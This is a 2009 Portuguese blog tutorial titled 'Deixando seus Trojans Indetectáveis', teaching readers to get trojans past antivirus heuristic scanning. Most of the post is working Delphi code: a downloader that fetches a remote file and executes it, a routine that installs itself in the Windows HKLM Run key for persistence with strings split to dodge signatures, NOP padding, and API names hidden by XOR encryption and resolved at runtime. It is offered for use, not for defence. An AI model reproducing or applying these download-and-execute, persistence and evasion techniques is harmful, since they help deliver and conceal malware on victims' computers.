segunda-feira, 31 de agosto de 2009

Deixando seus Trojans Indetectáveis

Bom… á pedido de muitos… estou postando aqui um tutorial de “Bypassando a Heurística dos AVs“!
Explicarei com modos fáceis, intermediários e difíceis. A cada método, explicará, como funciona, o porquê de usar o método, como usa-lo e dará um exemplo. Tornando assim, muuuuuuuuito fácil de entender!

Lembrando… 100% by Kingcaio

Então… Let’s Code!

Como funciona a Heurística?
Um “Heuristic Scan“, funciona, scaneando certas APIs que muitos malwares usam. Por exemplo, a função UrlDownloadToFile();. Ela é usada para salvar um arquivo da internet, para seu computador. Ou seja, faz o download do arquivo para seu computador. Isso é muito usado por Downloaders.

Bypassando a Heurística – Modo Fácil
1. Alterando o “EntryPoint”

A. O que é?
O EntryPoint é um endereço, que define o endereço base de mapeamento na memória.

B. Porquê?
O porquê de alterar o entrypoit, é que muitos AVs, para serem rápidos e gastarem pouca memória, scaneiam apenas o PE Header (cabeçalho) do executável. Então, alterando ele, automaticamente alterará o PE Header também.

C. Como?
Para alterar o EntryPoint, é apenas definir {$IMAGEBASE Número} no seu código. Aonde número, é um valor que você define, e pode variar de $00010000 até $7FFFFFFF. O valor padrão é $00400000

D. Exemplo:

program HazardDownloader;

{$IMAGEBASE $0026589541}

uses
Windows, ShellApi, UrlMon;

const
URL = ‘http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png‘;
Arquivo = ‘C:\hazardsource.png‘;
begin
URLDownloadToFile(nil, URL, Arquivo, 0, nil);
ShellExecute(0, ‘open‘, Arquivo, nil, nil, SW_SHOWNORMAL);
end.

2. Dividindo as Strings principais

A. O que é?
Dividir as Strings principais, consiste em dividir uma String, que pode ser usada pelo AV para detectar seu arquivo.

B. Porquê?
Divindo-as, dificulta a vida dos AVs porquê quando o programa for compilado, elas não vão ficar “uma ao lado da outra”.

C. Como?
Simples! É apenas pegar a String, e literalmente separá-la em diversas.

D. Exemplo:

program HazardAutoRun;

uses
Windows;

const
Chave = ‘SOFT‘+’WARE\Mi‘+’cros‘+’oft\Wi‘+’ndows\’+’Current‘+’Vers’+’ion\Run‘;
Nome = ‘HazardAutoRun’;
var
RegKey: HKey;
Valor: String;
begin
Valor:=ParamStr(0);
RegCreateKey(HKEY_LOCAL_MACHINE, Chave, RegKey);
RegSetValueEx(RegKey, Nome, 0, REG_EXPAND_SZ, PChar(Valor), Length(Valor));
RegCloseKey(RegKey);
end.



Bypassando a Heurística – Modo Intermediário
1. Inserindo NOPs

A. O que é?
NOP, é uma instrução Assembly para a família Intel x86 CPU. Deriva de “No OPeration”, ou seja, sem operação.

B. Porquê?
Inserir NOPs, dificulta um pouco a heurística dos AVs, porquê “separa” as instruções.

C. Como?
É apenas abrir um asm e inserir o NOP nele entre, ou no começo, das funções que possam serem detectadas.

D. Exemplo:

program HazardDownloaderNOP;

uses
Windows, ShellApi, UrlMon;

const
URL = ‘http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png‘;
Arquivo = ‘C:\hazardsource.png‘;
begin
URLDownloadToFile(nil, URL, Arquivo, 0, nil);
asm
nop
end;
ShellExecute(0, ‘open’, Arquivo, nil, nil, SW_SHOWNORMAL);
end.



Bypassando a Heurística – Modo Difícil

1. Carregando funções com GetProcAddress(); Encriptada

A. O que é?
Carregar funções com a função GetProcAddress(); encriptada, baseia-se na idéia de carregar a função dinamicamente, e o nome da função é desencriptado em run-time.

B. Porquê?
Assim, se o AV scanear apenas o arquivo, ele não achará nada. Apenas achará se ele scanear a memória do processo. Deixando assim, um pouquinho mais difícil para os AVs.

C. Como?
É apenas carregar a função com o a função GetProcAddres();, e usar algum tipo de encriptação, para encriptar o nome da função, e na hora de chamar, desencriptar a string.

D. Exemplo:

program HazardDownloaderCrypted;

uses
Windows, ShellApi, URLMon;

type
TDownload2File=function(Caller: IUnknown; URL: PChar; FileName: PChar;
Reserved: DWORD; StatusCB: IBindStatusCallback): HResult; stdcall;

function Encriptar(Str: String): String;
const
Key=’q8b2×74h851xk’;
var
Y, Z: Integer;
B: Byte;
begin
Z:=1;
for Y:=1 to Length(Str) do
begin
B:=(Ord(Str[Y]) and $0f) xor (Ord(Key[Z]) and $0f);
B:=B xor 10;
Str[Y]:=Char((Ord(Str[Y]) and $f0)+B);
Inc(Z);
if Z>Length(Key) then Z:=1;
end;
Result:=Str;
end;

const
URL = ‘http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png‘;
Arquivo = ‘C:\hazardsource.png‘;
var
Download2File: TDownload2File;
begin
Download2File:=GetProcAddress(LoadLibrary(’URLMON.DLL‘), PChar(Encriptar(’^PDLmz`nmnoVnMkdmC‘)));
Download2File(nil, URL, Arquivo, 0, nil);
ShellExecute(0, ‘open‘, Arquivo, nil, nil, SW_SHOWNORMAL);
end.

Bom… é isso… espero que tenham gostado.

Nenhum comentário:

Postar um comentário